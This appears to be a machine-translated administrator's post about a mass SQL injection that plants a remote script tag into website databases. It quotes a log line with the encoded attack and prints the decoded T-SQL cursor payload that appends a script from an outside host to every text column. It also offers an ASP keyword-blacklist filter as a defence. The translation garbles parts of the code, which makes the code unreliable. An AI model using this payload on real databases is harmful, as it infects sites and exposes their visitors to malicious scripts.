Reasons for database injection into daxia123 and Solutions

Recently, a website I managed is often injected with Trojan Code <script src = http://cn.daxia123.cn/cn.js> </script>, in Baidu search this code, it can be found that more than 20 thousand of the website was injected. I hope you can search for the owner of this domain name and find the bad guy.

IIS logs show the following information:

01:27:35 w3svc59921326 *. *. *. * GET reads. asp msgid = 2068% 25' % 20; dEcLaRe % 20 @ S % 20 VaRcHaR (4000) % 20 SeT % 20 @ s = cAsT (Broadcast
Bytes
Bytes
Container % 20aS % 20 VaRcHaR (4000); eXeC (@ s); -- % 20aNd % 20 '% 25' = '80-211.200.141.151 Mozilla/4.0 + (compatible; + MSIE + 6.0; + Windows + NT + 5.0) http: // ** 200 0 0

 

I found 211.200.141.151 from Seoul, South Korea on the Internet. It is estimated that it is a proxy. Some online brothers have restored this Code as follows:

DECLARE @ t varchar (255), @ c varchar (255)
DECLARE Table_Cursor CURSOR
SELECT a. name, B. name FROM sysobjects a, syscolumns B
WHERE. id = B. id AND. xtype = 'U' AND (B. xtype = 99 OR B. xtype = 35 OR B. xtype = 231 OR B. (xtype = 167)
OPEN Table_Cursor
Fetch next from Table_Cursor INTO @ T, @ C
WHILE (@ FETCH_STATUS = 0) begin exec ('Update ['+ @ T +'] SET ['+ @ C +'] = RTRIM
(CONVERT (VARCHAR (4000), ['+ @ C +']) + ''<script
Src = http://cn.daxia123.cn/cn.js> </script> ''')
Fetch next from Table_Cursor INTO @ T, @ C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

Although the broken code has been encoded, you can still see that there are SQL keywords such as declare, exec, and so on. Therefore, it should be effective to use the common anti-injection code.

<%
Dim SQL _injdata
SQL _injdata = "'| and | exec | insert | select | delete | update | count | * | % | chr | mid | master | truncate | char | declare"
SQL _inj = split (SQL _Injdata, "| ")
If Request. QueryString <> "Then
For Each SQL _Get In Request. QueryString
For SQL _Data = 0 To Ubound (SQL _inj)
If instr (Request. QueryString (SQL _Get), SQL _Inj (SQL _DATA)> 0 Then
Response. Write "<Script Language = javascript> history. back (-1); </Script>"
Response. end
End if
Next
Next
End If

If Request. Form <> "" Then
For Each SQL _Post In Request. Form
For SQL _Data = 0 To Ubound (SQL _inj)
If instr (Request. Form (SQL _Post), SQL _Inj (SQL _DATA)> 0 Then
Response. Write "<Script Language = javascript> history. back (-1); </Script>"
Response. end
End if
Next
Next
End if
%>

If not, a simpler method is to extract a segment from the encoded statement as one of the character sets to be filtered. For example:

SQL _injdata = "'| and | exec | insert | select | delete | update | count | * | % | chr | mid | master | truncate | char | declare | average"

 

Another way is to set the length of the parameter obtained from the URL to determine whether it is injected, because the general website parameters are not that long.